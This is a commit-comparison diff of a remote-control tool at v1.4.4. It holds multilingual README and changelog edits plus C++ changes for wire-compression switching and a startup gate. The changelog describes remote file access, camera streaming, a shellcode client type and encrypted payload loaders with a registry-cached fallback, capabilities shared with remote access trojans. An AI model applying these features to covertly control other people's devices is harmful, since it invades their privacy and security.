Compare commits
18
Commits
340fb20518
..
v1.4.4
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d59d0b6a5c | ||
|
|
b0e172bf91 | ||
|
|
a6c417a061 | ||
|
|
4b96885016 | ||
|
|
034b11fa6a | ||
|
|
5f764b2425 | ||
|
|
95d2bbc1b6 | ||
|
|
1bd7fa5b2d | ||
|
|
c9a18856e5 | ||
|
|
830dcf1672 | ||
|
|
082860de8f | ||
|
|
85f7f1aa67 | ||
|
|
5387603c73 | ||
|
|
545700abaa | ||
|
|
da6185ba5e | ||
|
|
f618fbdc8b | ||
|
|
e6a3255a2b | ||
|
|
0e20e0bbdb |
No files matched your search
@@ -94,6 +94,8 @@ nul
|
||||
server/go/web/assets/index.html
|
||||
server/go/users.json
|
||||
server/go/devices.json
|
||||
server/go/device_notes.json
|
||||
server/go/device_groups.json
|
||||
server/go/build/
|
||||
server/go/cmd/*.syso
|
||||
server/go/.claude/settings.json
|
||||
|
||||
+2
-2
@@ -4,8 +4,8 @@
|
||||
|
||||
Prebuilt binaries under `compress/`, linked via `#pragma comment(lib, ...)`.
|
||||
|
||||
- [zlib v1.3.2](https://zlib.net)
|
||||
- [zstd v1.5.7](https://github.com/facebook/zstd/tree/v1.5.7)
|
||||
- [zlib v1.4](https://zlib.net)
|
||||
- [zstd v1.6.0](https://github.com/facebook/zstd/tree/v1.6.0) — Windows prebuilt libs; shared header and the Linux/Android/macOS `.a` are still 1.5.x
|
||||
- [x264 v0.164.3194](https://github.com/corecodec/x264) — GPL-2.0, see note below
|
||||
- [libyuv v190](https://chromium.googlesource.com/libyuv/libyuv)
|
||||
- [ffmpeg 7.1](https://git.ffmpeg.org/ffmpeg.git) — LGPL-2.1, linked statically, see note below
|
||||
|
||||
@@ -33,7 +33,7 @@
|
||||
>
|
||||
> **未经授权访问计算机系统属违法行为。** 使用者须对遵守所有适用法律承担全部责任。开发者对任何滥用行为概不负责。
|
||||
>
|
||||
> **二次开发红线:** 如使用大模型协助对本项目进行二次开发,不得破解本项目,也不得替换本项目的私有库以达到绕过授权的目的。一经发现,授权服务器将对其**永久拉黑**。
|
||||
> **二次开发提示:** 欢迎在遵守开源许可与当地法律的前提下进行二次开发。请保留项目自带的授权与安全校验机制,不要修改或屏蔽它们;对违反许可或法律的使用,授权服务器保留拒绝服务的权利。
|
||||
|
||||
---
|
||||
|
||||
@@ -380,6 +380,36 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
||||
|
||||
## 更新日志
|
||||
|
||||
### v1.4.4 (2026.11.28)
|
||||
|
||||
**Web 设备治理 & Android 能力补齐 & 运行时压缩选择 & frp v0.72.0**
|
||||
|
||||
**新功能:**
|
||||
- **Web 控制台设备治理**:内置 admin 可把设备绑定给指定用户(`device_acl.json`),绑定后仅 owner 与内置 admin 可见可控,审计同步过滤;卡片「…」菜单新增「修改备注」(`device_notes.json`,显示为 `主机名 (备注)`)与「修改分组」(`device_groups.json`,优先于主机自报分组,离线设备也可归类),均为 admin-only、受设备 ACL 约束并写审计;卡片动作统一收进「…」弹出菜单;新增 `transfer_device`,把 Go 托管主机转移到 MFC 主控 N 天后取回
|
||||
- **Android 客户端**:文件管理(`P:` 私有目录 / `I:` 内部存储 / SD 卡与 U 盘,GBK 走 JNI,Android 11+ 引导「所有文件访问」,含搜索)、摄像头(Camera2 JPEG,`JPGD` FOURCC)、root 进程管理(`CLIENT_CAP_PROCESS`,无 root 明确拒绝)、主机转移(立即切换、到期 / 提前归还原主控、目标 60 秒不可达回退)、锁屏状态与输入模式修正、休眠后在同一投影上恢复抓屏、编码器 `KEY_OPERATING_RATE` 不低于 30
|
||||
- **macOS 客户端**:主机转移(与 Android 同语义,含分享拒绝与不可达回退)
|
||||
- **运行时线路压缩**:zlib 1.4 与 zstd 1.6.0 双库随客户端打包,建连时读 `settings\compress`;在线列表「实验性 → 线路压缩:ZSTD / ZLIB」按 `CLIENT_CAP_COMPRESS_SWITCH` 在线切换,约两秒生效,提示标记实际算法;压缩与主机分享互斥,`1.001n+12` 小包缓冲修正
|
||||
- **MCP**:新增 `build_client`(`McpBuild` 默认关,覆盖 ghost / TestRun / ServerDll / TinyRun 与三平台);设置对话框新增「只读 / 智能」一键预设,命令白名单输入框不再显示;`list_hosts` / `get_host_detail` 返回 Web 备注与分组覆盖,纯文本表新增备注列;绑定设备对 MCP 一律不可见(按 ID 返回 -32002)
|
||||
- **frp v0.72.0**:内嵌 `frpc.dll` / `frps.dll` 重建并替换;下级已自建 FRP 时本地主控地址优先,上级自动 FRP 只作后备,设置对话框说明「公网地址由上级自动 FRP 提供」
|
||||
- **客户端加载与发布**:客户端载荷下发增加 AES-CBC 加密(随机 IV),强化授权载荷传输的安全性;被封禁主机按「最早再试时间」退避启动;装载器在 3 次连接失败后回退到注册表缓存载荷;Linux / macOS Release 去调试符号(`linux/ghost` 10.3 MB → 2.5 MB);新增发布门禁 E2E 冒烟脚本
|
||||
|
||||
**改进:**
|
||||
- Web 模态对话框只在 × / 取消 / 确认上关闭,选中文本拖出卡片不再误关;卡片字段统一转义,杜绝注入
|
||||
- IP 历史改为最后活跃时间倒序,达到 1000 条每次写入淘汰队尾,并用 60 KB 上限保护单个值
|
||||
- 状态栏按实测字体宽度布局,空间不足时按优先级隐藏窗格;全屏状态条整帧 blit,消除每秒闪烁
|
||||
- 「取消分享」立即停止 Windows 分享连接;分享与转移区分,同一目标只保留一条连接
|
||||
- 音频包按 65 字节 GSM610 块对齐,修正 Windows 主机尾部 25 字节垃圾;`RES_UPTIME` 每次登录重算
|
||||
- 主控在 Low 完整性下启动即退出并给出 `icacls` 修复命令;Android 桌面控制改为按住左键拖动
|
||||
- 新增 `docs/Client_Capability_Matrix.md`;新字符串补齐 en_US / zh_TW / de_DE
|
||||
|
||||
**Bug 修复:**
|
||||
- 打开摄像头即崩溃(DirectShow `S_FALSE` 被当作失败、缓冲区未分配即回调)
|
||||
- Windows 7 客户端 TLS 证书链引擎因结构体尺寸被拒(fail-closed 不上线)
|
||||
- 压缩切换后 LP64 平台编译失败;分享取消后连接不释放
|
||||
- Android 锁屏永久「Locked」、输入模式丢失、休眠后抓屏无帧、电视 SoC 编码器不出帧
|
||||
- Web 备注 / 分组回包迟到后作用于错误设备;保存时连接重连中静默无响应
|
||||
- 其它:E2E 脚本无限等待、构建对话框目标切换未置灰、字体放大时状态栏文本截断
|
||||
|
||||
### v1.4.3 (2026.11.14)
|
||||
|
||||
**MCP 工具面收敛 & Go 极简 MCP & Android / macOS 能力补齐 & TLS 开箱即用**
|
||||
@@ -560,7 +590,7 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
||||
- **前台窗口精准捕获**:PrintWindow + 服务端 HWND by clientID 路由,遮挡情况下仍可捕获完整窗口
|
||||
- **在线主机右键查看活动窗口**:实时查询目标机器前台窗口标题
|
||||
- **TOKEN_AUTH 响应 ECDSA 签名**:V2 私钥签名服务端响应,防伪服务端(`TOKEN_SERVER_VERIFY = 251`)
|
||||
- **反破解版本绑定**:版本与核心库绑定,阻断替换 DLL 的破解路径
|
||||
- **授权与完整性保护**:核心组件与版本保持一致,降低被篡改或误用的风险
|
||||
- **子授权连接数限制**:`LicenseLimit` 字段 + `CLicenseDlg` 右键菜单实时设置
|
||||
|
||||
**改进:**
|
||||
|
||||
+32
-2
@@ -33,7 +33,7 @@
|
||||
>
|
||||
> **Unauthorized access to computer systems is illegal.** Users are fully responsible for compliance with all applicable laws. The developers assume no liability for misuse.
|
||||
>
|
||||
> **Secondary development:** if you use a large language model to assist with secondary development of this project, you must not crack the software or replace this project's private libraries to bypass authorization. Violations are detected and the authorization server **permanently blacklists** the offender.
|
||||
> **Secondary development:** We welcome secondary development under the project's license and applicable law. Please keep the project's built-in authorization and security checks in place rather than modifying or disabling them; the authorization server may refuse service for use that violates the license or the law.
|
||||
|
||||
---
|
||||
|
||||
@@ -380,6 +380,36 @@ Valid : 2026-02-01 to 2028-02-01
|
||||
|
||||
## Changelog
|
||||
|
||||
### v1.4.4 (2026.11.28)
|
||||
|
||||
**Web device governance & Android parity & runtime wire compression & frp v0.72.0**
|
||||
|
||||
**New features:**
|
||||
- **Web console device governance**: the built-in admin can bind a device to a user (`device_acl.json`); a bound device is visible and controllable only to its owner and the built-in admin, and the audit log is filtered the same way. The card "..." menu gains Edit remark (`device_notes.json`, shown as `hostname (remark)`) and Edit group (`device_groups.json`, overriding the group the host reports, so offline records can be regrouped), both admin-only, ACL-checked and audited; all card actions now live in a single "..." popup; `transfer_device` moves a Go-managed host to the MFC master for N days and back
|
||||
- **Android client**: file management (`P:` private dir / `I:` internal storage / SD cards and USB drives, GBK through JNI, Android 11+ all-files access prompt, search included), camera streaming (Camera2 JPEG, `JPGD` FOURCC), root-only process management (`CLIENT_CAP_PROCESS`, refused outright without root), host transfer (immediate switch, restore on expiry or early return, revert after 60 s unreachable), corrected lock state and input mode, screen capture recovered after sleep on the same projection, and `KEY_OPERATING_RATE` kept at 30 or above
|
||||
- **macOS client**: host transfer with the same semantics as Android, including the share refusal and the unreachable-target revert
|
||||
- **Runtime wire compression**: zlib 1.4 and zstd 1.6.0 are both linked; each connection reads `settings\compress`. The online-list menu "Experimental -> Wire compression: ZSTD / ZLIB" switches hosts that declare `CLIENT_CAP_COMPRESS_SWITCH` in about two seconds without a restart, and the tooltip marks the negotiated algorithm. Compression and host sharing are mutually exclusive; the `1.001n+12` small-packet buffer has been corrected
|
||||
- **MCP**: new `build_client` tool (`McpBuild`, off by default, covering ghost / TestRun / ServerDll / TinyRun and the three platforms); the settings dialog gains one-click Read-only / Smart presets and no longer shows the command whitelist; `list_hosts` / `get_host_detail` return web remarks and group overrides, with a remark column in the text table; user-bound devices are hidden from MCP entirely (an explicit id returns -32002)
|
||||
- **frp v0.72.0**: the bundled `frpc.dll` / `frps.dll` are rebuilt and replaced; when a subordinate already runs its own FRP proxy its local master address wins and the upstream auto FRP stays a fallback, with the dialog explaining when the public address comes from the upstream
|
||||
- **Loader and release engineering**: client payload delivery now uses AES-CBC with a random IV to strengthen the security of authorization payload delivery; a banned host backs off until its persisted retry time; the loaders fall back to the cached registry payload after three failed connects; Linux / macOS Release builds drop debug symbols (`linux/ghost` 10.3 MB to 2.5 MB); a release-gate E2E smoke script was added
|
||||
|
||||
**Improvements:**
|
||||
- Web modal dialogs close only from their own buttons, so selecting text and releasing outside the card no longer dismisses them; client-reported card fields are escaped before reaching HTML or attribute contexts
|
||||
- IP history is ordered by last activity, evicts the oldest entry on every write at the 1000-record cap, and guards the single stored value with a 60 KB limit
|
||||
- Status-bar panes are sized from measured text and hidden by priority when space runs out; the full-screen overlay blits a complete frame, removing the once-per-second flicker
|
||||
- Cancelling a share now stops the Windows share connection immediately; shares and transfers are tracked separately and one target keeps one connection
|
||||
- Audio packets are block-aligned to 65-byte GSM610 blocks, dropping the 25 stale bytes Windows hosts ship; `RES_UPTIME` is recomputed on every login
|
||||
- The master refuses to start at Low integrity and prints the `icacls` fix; desktop control of Android hosts now needs a held left button
|
||||
- Added `docs/Client_Capability_Matrix.md`; new strings in en_US / zh_TW / de_DE
|
||||
|
||||
**Bug fixes:**
|
||||
- Opening the webcam killed the client (DirectShow `S_FALSE` treated as a failure, the sample callback writing into an unallocated buffer)
|
||||
- Windows 7 clients failed TLS because the chain-engine struct was compiled at the Windows 10 size
|
||||
- The compression switch broke LP64 builds; cancelling a share left the Windows connection alive
|
||||
- Android showed "Locked" forever, lost its input mode, stopped producing frames after sleep, and some TV SoC encoders never emitted a frame
|
||||
- Late web remark / group replies could land on the wrong device, and Save while reconnecting did nothing
|
||||
- Also: the E2E script could wait forever, the build dialog kept install options enabled for POSIX targets, and status-bar text was clipped at larger font sizes
|
||||
|
||||
### v1.4.3 (2026.11.14)
|
||||
|
||||
**MCP tool consolidation & Go minimal MCP & Android / macOS parity & TLS out of the box**
|
||||
@@ -560,7 +590,7 @@ Valid : 2026-02-01 to 2028-02-01
|
||||
- **Foreground window capture**: PrintWindow + server-side HWND routing by clientID, captures the target window even when occluded
|
||||
- **View active window from host list**: right-click menu queries and shows the foreground window title of the target machine in real time
|
||||
- **TOKEN_AUTH ECDSA signature**: server signs auth responses with its V2 P-256 key to prevent fake-server attacks (`TOKEN_SERVER_VERIFY = 251`)
|
||||
- **Anti-cracking version binding**: binary binds to core lib version; mismatched DLL replacement is rejected at load time
|
||||
- **Authorization and integrity protection**: core components stay consistent with the build, reducing the risk of tampering or mismatched use
|
||||
- **Sub-license connection cap**: `LicenseLimit` field in `licenses.ini` + real-time set / clear from `CLicenseDlg` right-click menu
|
||||
|
||||
**Improvements:**
|
||||
|
||||
+32
-2
@@ -33,7 +33,7 @@
|
||||
>
|
||||
> **未經授權存取電腦系統屬違法行為。** 使用者須對遵守所有適用法律承擔全部責任。開發者對任何濫用行為概不負責。
|
||||
>
|
||||
> **二次開發紅線:** 如使用大模型協助對本專案進行二次開發,不得破解本專案,也不得替換本專案的私有函式庫以達到繞過授權的目的。一經發現,授權伺服器將對其**永久列入黑名單**。
|
||||
> **二次開發提示:** 歡迎在遵守開源授權與當地法律的前提下進行二次開發。請保留專案內建的授權與安全校驗機制,不要修改或停用它們;對違反授權或法律的使用,授權伺服器保留拒絕服務的權利。
|
||||
|
||||
---
|
||||
|
||||
@@ -380,6 +380,36 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
||||
|
||||
## 更新日誌
|
||||
|
||||
### v1.4.4 (2026.11.28)
|
||||
|
||||
**Web 裝置治理 & Android 能力補齊 & 執行期壓縮選擇 & frp v0.72.0**
|
||||
|
||||
**新功能:**
|
||||
- **Web 控制台裝置治理**:內建 admin 可把裝置綁定給指定使用者(`device_acl.json`),綁定後僅 owner 與內建 admin 可見可控,稽核同步過濾;卡片「…」選單新增「修改備註」(`device_notes.json`,顯示為 `主機名 (備註)`)與「修改群組」(`device_groups.json`,優先於主機自報群組,離線裝置也可歸類),皆為 admin-only、受裝置 ACL 約束並寫稽核;卡片動作統一收進「…」彈出選單;新增 `transfer_device`,把 Go 託管主機轉移到 MFC 主控 N 天後取回
|
||||
- **Android 用戶端**:檔案管理(`P:` 私有目錄 / `I:` 內部儲存 / SD 卡與 USB,GBK 走 JNI,Android 11+ 引導「所有檔案存取」,含搜尋)、攝影機(Camera2 JPEG,`JPGD` FOURCC)、root 行程管理(`CLIENT_CAP_PROCESS`,無 root 明確拒絕)、主機轉移(立即切換、到期 / 提前歸還原主控、目標 60 秒不可達回退)、鎖屏狀態與輸入模式修正、休眠後在同一投影上恢復擷取畫面、編碼器 `KEY_OPERATING_RATE` 不低於 30
|
||||
- **macOS 用戶端**:主機轉移(與 Android 同語意,含分享拒絕與不可達回退)
|
||||
- **執行期線路壓縮**:zlib 1.4 與 zstd 1.6.0 雙庫隨用戶端打包,連線時讀 `settings\compress`;線上列表「實驗性 → 線路壓縮:ZSTD / ZLIB」依 `CLIENT_CAP_COMPRESS_SWITCH` 線上切換,約兩秒生效,提示標記實際演算法;壓縮與主機分享互斥,`1.001n+12` 小封包緩衝修正
|
||||
- **MCP**:新增 `build_client`(`McpBuild` 預設關,涵蓋 ghost / TestRun / ServerDll / TinyRun 與三平台);設定對話框新增「唯讀 / 智慧」一鍵預設,命令白名單輸入框不再顯示;`list_hosts` / `get_host_detail` 回傳 Web 備註與群組覆寫,純文字表新增備註欄;綁定裝置對 MCP 一律不可見(依 ID 呼叫回 -32002)
|
||||
- **frp v0.72.0**:內嵌 `frpc.dll` / `frps.dll` 重建並替換;下級已自建 FRP 時本地主控位址優先,上級自動 FRP 只作後備,設定對話框說明「公網位址由上級自動 FRP 提供」
|
||||
- **用戶端載入與發佈**:用戶端載荷下發增加 AES-CBC 加密(隨機 IV),強化授權載荷傳輸的安全性;被封禁主機依「最早再試時間」退避啟動;載入器在 3 次連線失敗後回退到登錄快取載荷;Linux / macOS Release 去偵錯符號(`linux/ghost` 10.3 MB → 2.5 MB);新增發佈門檻 E2E 冒煙腳本
|
||||
|
||||
**改進:**
|
||||
- Web 強制回應對話框只在 × / 取消 / 確認上關閉,選取文字拖出卡片不再誤關;卡片欄位統一轉義,杜絕注入
|
||||
- IP 歷史改為最後活躍時間倒序,達到 1000 筆每次寫入淘汰最舊項,並以 60 KB 上限保護單一值
|
||||
- 狀態列依實測字型寬度配置,空間不足時依優先順序隱藏窗格;全螢幕狀態列整幀 blit,消除每秒閃爍
|
||||
- 「取消分享」立即停止 Windows 分享連線;分享與轉移區分,同一目標只保留一條連線
|
||||
- 音訊封包依 65 位元組 GSM610 區塊對齊,修正 Windows 主機尾部 25 位元組垃圾;`RES_UPTIME` 每次登入重算
|
||||
- 主控在 Low 完整性下啟動即結束並給出 `icacls` 修復命令;Android 桌面控制改為按住左鍵拖曳
|
||||
- 新增 `docs/Client_Capability_Matrix.md`;新字串補齊 en_US / zh_TW / de_DE
|
||||
|
||||
**Bug 修復:**
|
||||
- 開啟攝影機即崩潰(DirectShow `S_FALSE` 被當成失敗、緩衝未配置即回呼)
|
||||
- Windows 7 用戶端 TLS 憑證鏈引擎因結構尺寸被拒(fail-closed 不上線)
|
||||
- 壓縮切換後 LP64 平台編譯失敗;取消分享後連線未釋放
|
||||
- Android 鎖屏永久顯示「Locked」、輸入模式遺失、休眠後擷取畫面無幀、電視 SoC 編碼器不出幀
|
||||
- Web 備註 / 群組回包遲到後作用於錯誤裝置;儲存時連線重連中靜默無回應
|
||||
- 其他:E2E 腳本無限等待、建置對話框切換目標未置灰、字型放大時狀態列文字被截斷
|
||||
|
||||
### v1.4.3 (2026.11.14)
|
||||
|
||||
**MCP 工具面收斂 & Go 極簡 MCP & Android / macOS 能力補齊 & TLS 開箱即用**
|
||||
@@ -560,7 +590,7 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
||||
- **前台視窗精準擷取**:PrintWindow + 伺服端 HWND by clientID 路由,遮蓋情況下仍可擷取完整視窗
|
||||
- **線上主機右鍵查看活動視窗**:即時查詢目標機器前台視窗標題
|
||||
- **TOKEN_AUTH 回應 ECDSA 簽章**:V2 私鑰簽名伺服端回應,防偽造伺服端(`TOKEN_SERVER_VERIFY = 251`)
|
||||
- **反破解版本綁定**:版本與核心函式庫綁定,阻斷替換 DLL 的破解路徑
|
||||
- **授權與完整性保護**:核心元件與版本保持一致,降低被篡改或誤用的風險
|
||||
- **子授權連線數限制**:`LicenseLimit` 欄位 + `CLicenseDlg` 右鍵選單即時設定
|
||||
|
||||
**改進:**
|
||||
|
||||
@@ -5,6 +5,7 @@
|
||||
#include "ClientDll.h"
|
||||
#include "ActivityHistory.h"
|
||||
#include <common/iniFile.h>
|
||||
#include "start_gate.h"
|
||||
#include <common/LANChecker.h>
|
||||
#include <common/VerifyV2.h>
|
||||
#include <intrin.h> // for __cpuid, __cpuidex
|
||||
@@ -406,6 +407,16 @@ int main(int argc, const char *argv[])
|
||||
BYTE buf[] = { nCmd };
|
||||
return RunCommand(buf, 1);
|
||||
}
|
||||
{
|
||||
std::string expiredDate;
|
||||
const bool isAuthKernel = IsAuthKernel(expiredDate);
|
||||
iniFile cfg(StartGate::ConfigPath(isAuthKernel));
|
||||
const char* section = StartGate::ConfigSection(isAuthKernel);
|
||||
if (!StartGate::AllowStartNow(cfg, section)) {
|
||||
Mprintf("next=%d\n", StartGate::Get(cfg, section));
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
InitWindowsService(NewService(
|
||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
|
||||
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service",
|
||||
@@ -504,6 +515,19 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP, int uPort);
|
||||
// Auto run main thread after load the DLL
|
||||
DWORD WINAPI AutoRun(LPVOID param)
|
||||
{
|
||||
if (!IsLocalTestClient(g_MyApp.g_Connection)) {
|
||||
std::string expiredDate;
|
||||
const bool isAuthKernel = IsAuthKernel(expiredDate);
|
||||
iniFile cfg(StartGate::ConfigPath(isAuthKernel));
|
||||
const char* section = StartGate::ConfigSection(isAuthKernel);
|
||||
if (!StartGate::AllowStartNow(cfg, section)) {
|
||||
Mprintf("next=%d\n", StartGate::Get(cfg, section));
|
||||
if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) {
|
||||
FreeLibraryAndExitThread((HMODULE)param, -1);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
do {
|
||||
TestRun(NULL, 0);
|
||||
// 旧工作线程还没退完时 TestRun 会立刻返回(此时连日志都不打,见其内部的
|
||||
|
||||
+132
-31
@@ -28,30 +28,53 @@ inline int WSAGetLastError()
|
||||
#include <assert.h>
|
||||
#include <string>
|
||||
#include <random>
|
||||
#if USING_ZLIB
|
||||
#include "zlib/zlib.h"
|
||||
#define Z_FAILED(p) (Z_OK != (p))
|
||||
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
||||
// 线缆压缩:Windows 客户端同时携带 zlib 与 zstd,运行期由 settings\compress 选择
|
||||
// (默认 zstd,配置为 zlib 时使用 zlib)。POSIX 客户端只链接 libzstd。
|
||||
#if defined(_WIN32)
|
||||
# include "zlib/zlib.h"
|
||||
# define CLIENT_HAS_ZLIB 1
|
||||
#else
|
||||
# define CLIENT_HAS_ZLIB 0
|
||||
#endif
|
||||
#include "common/zstd_wrapper.h"
|
||||
#define ZSTD_CLEVEL ZSTD_CLEVEL_DEFAULT
|
||||
|
||||
// ZSTD 库在客户端始终要链接:文件管理器的 ZSTA 归档(common/ZstdArchive.h)、
|
||||
// common/zstd_wrapper.c 以及上面的版本日志都无条件引用 ZSTD_*,与线缆压缩
|
||||
// 选择 zlib 还是 zstd 无关。此处在两种模式下都生效。
|
||||
#ifdef _WIN32
|
||||
# ifdef _WIN64
|
||||
# pragma comment(lib, "zstd/zstd_x64.lib")
|
||||
# else
|
||||
# pragma comment(lib, "zstd/zstd.lib")
|
||||
# endif
|
||||
# include "common/iniFile.h" // CLIENT_PATH + settings\compress
|
||||
#endif
|
||||
#define Z_FAILED(p) ZSTD_isError(p)
|
||||
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
||||
#define ZSTD_CLEVEL ZSTD_CLEVEL_DEFAULT
|
||||
#if USING_CTX
|
||||
#define compress(dest, destLen, source, sourceLen) zstd_compress_auto(m_Cctx, dest, *(destLen), source, sourceLen, 1024*1024)
|
||||
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
|
||||
|
||||
// 读取 settings\compress:默认 zstd,值为 "zlib"(大小写不敏感)时使用 zlib。
|
||||
// 配置存放在客户端注册表(CLIENT_PATH)。服务端下发 COMMAND_SET_COMPRESS 会写同一个
|
||||
// 键并触发重连;新连接在构造函数里重新读取,从而无需重启进程即可生效。
|
||||
static bool ClientCompressUsesZlib()
|
||||
{
|
||||
#if defined(_WIN32) && CLIENT_HAS_ZLIB
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
std::string mode = cfg.GetStr("settings", "compress", "zstd");
|
||||
for (size_t i = 0; i < mode.size(); ++i) {
|
||||
if (mode[i] >= 'A' && mode[i] <= 'Z')
|
||||
mode[i] = (char)(mode[i] - 'A' + 'a');
|
||||
}
|
||||
return mode == "zlib";
|
||||
#else
|
||||
#define compress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
|
||||
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
|
||||
#endif
|
||||
return false;
|
||||
#endif
|
||||
}
|
||||
|
||||
// 对外暴露同一判定:分享前要确认新建的分享实例会用什么算法(它构造时读的就是
|
||||
// 这个配置),不能用某条现有连接的 m_useZlib 代替。
|
||||
bool IOCPClient::ConfiguredWireZlib()
|
||||
{
|
||||
return ClientCompressUsesZlib();
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
@@ -244,6 +267,11 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
|
||||
#endif
|
||||
}
|
||||
|
||||
// 线缆压缩模式:本连接构造时按配置读取一次(默认 zstd)。服务端下发
|
||||
// COMMAND_SET_COMPRESS 后由 SetWireCompression() 原地改写,下一次建连生效。
|
||||
m_useZlib = ClientCompressUsesZlib();
|
||||
Mprintf("[IOCPClient] wire compress: %s\n", m_useZlib ? "zlib" : "zstd");
|
||||
|
||||
m_main = main;
|
||||
m_conn = conn; // 保存 CONNECT_ADDRESS 指针。子连接 auth 在每次连接时通过
|
||||
// m_conn->clientID 现取主连接 ID(同一指针,主连接登录后填好的最新值)。
|
||||
@@ -296,7 +324,7 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
|
||||
m_Cctx = ZSTD_createCCtx();
|
||||
m_Dctx = ZSTD_createDCtx();
|
||||
auto n = ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0);
|
||||
if (Z_FAILED(n)) {
|
||||
if (ZSTD_isError(n)) {
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0);
|
||||
}
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_compressionLevel, ZSTD_CLEVEL);
|
||||
@@ -307,6 +335,74 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
|
||||
#endif
|
||||
}
|
||||
|
||||
// 线缆压缩/解压:按本连接构造时选定的 m_useZlib 走 zlib 或 zstd。
|
||||
// 成功返回 true 并写回实际长度;失败返回 false。
|
||||
bool IOCPClient::CompressData(BYTE* dst, ULONG& dstLen, const void* src, ULONG srcLen)
|
||||
{
|
||||
if (m_useZlib) {
|
||||
#if CLIENT_HAS_ZLIB
|
||||
uLongf n = (uLongf)dstLen;
|
||||
int r = compress(dst, &n, (const Bytef*)src, (uLong)srcLen);
|
||||
if (r != Z_OK)
|
||||
return false;
|
||||
dstLen = (ULONG)n;
|
||||
return true;
|
||||
#else
|
||||
return false;
|
||||
#endif
|
||||
}
|
||||
#if USING_CTX
|
||||
{
|
||||
size_t r = zstd_compress_auto(m_Cctx, dst, (size_t)dstLen, src, (size_t)srcLen, 1024 * 1024);
|
||||
if (ZSTD_isError(r))
|
||||
return false;
|
||||
dstLen = (ULONG)r;
|
||||
return true;
|
||||
}
|
||||
#else
|
||||
{
|
||||
size_t r = ZSTD_compress(dst, (size_t)dstLen, src, (size_t)srcLen, ZSTD_CLEVEL_DEFAULT);
|
||||
if (ZSTD_isError(r))
|
||||
return false;
|
||||
dstLen = (ULONG)r;
|
||||
return true;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
bool IOCPClient::DecompressData(BYTE* dst, ULONG& dstLen, const void* src, ULONG srcLen)
|
||||
{
|
||||
if (m_useZlib) {
|
||||
#if CLIENT_HAS_ZLIB
|
||||
uLongf n = (uLongf)dstLen;
|
||||
int r = uncompress(dst, &n, (const Bytef*)src, (uLong)srcLen);
|
||||
if (r != Z_OK)
|
||||
return false;
|
||||
dstLen = (ULONG)n;
|
||||
return true;
|
||||
#else
|
||||
return false;
|
||||
#endif
|
||||
}
|
||||
#if USING_CTX
|
||||
{
|
||||
size_t r = ZSTD_decompressDCtx(m_Dctx, dst, (size_t)dstLen, src, (size_t)srcLen);
|
||||
if (ZSTD_isError(r))
|
||||
return false;
|
||||
dstLen = (ULONG)r;
|
||||
return true;
|
||||
}
|
||||
#else
|
||||
{
|
||||
size_t r = ZSTD_decompress(dst, (size_t)dstLen, src, (size_t)srcLen);
|
||||
if (ZSTD_isError(r))
|
||||
return false;
|
||||
dstLen = (ULONG)r;
|
||||
return true;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
void IOCPClient::PrepareHeaderEncoderForConnect()
|
||||
{
|
||||
if (!m_EncoderType) {
|
||||
@@ -358,7 +454,7 @@ void IOCPClient::SetMultiThreadCompress(int threadNum)
|
||||
#if USING_CTX
|
||||
BOOL failed = TRUE;
|
||||
if (threadNum > 1) {
|
||||
failed = Z_FAILED(ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, threadNum));
|
||||
failed = ZSTD_isError(ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, threadNum));
|
||||
}
|
||||
if (failed) {
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0);
|
||||
@@ -1007,9 +1103,15 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
|
||||
|
||||
m_CompressedBuffer->ReadBuffer(CompressedBuffer, ulCompressedLength);
|
||||
m_Encoder->Decode(CompressedBuffer, ulCompressedLength, (LPBYTE)szPacketFlag);
|
||||
size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
||||
|
||||
if (Z_SUCCESS(iRet)) { //如果解压成功
|
||||
// 与发送同一模式:服务端按客户端首个压缩包识别算法,回包使用同一算法,
|
||||
// 因此这里固定用本连接的 m_useZlib 解压。
|
||||
ULONG ulDecompressedLength = ulOriginalLength;
|
||||
bool decompressed = DecompressData(DeCompressedBuffer, ulDecompressedLength,
|
||||
CompressedBuffer, ulCompressedLength);
|
||||
ulOriginalLength = ulDecompressedLength;
|
||||
|
||||
if (decompressed) { //如果解压成功
|
||||
// 优先看是不是 TOKEN_CONN_AUTH 响应;只有当 PerformConnAuth 正在等待时才消费。
|
||||
// 不在等待状态时返回 false,包透传给 manager(manager 一般也不识别此 token,
|
||||
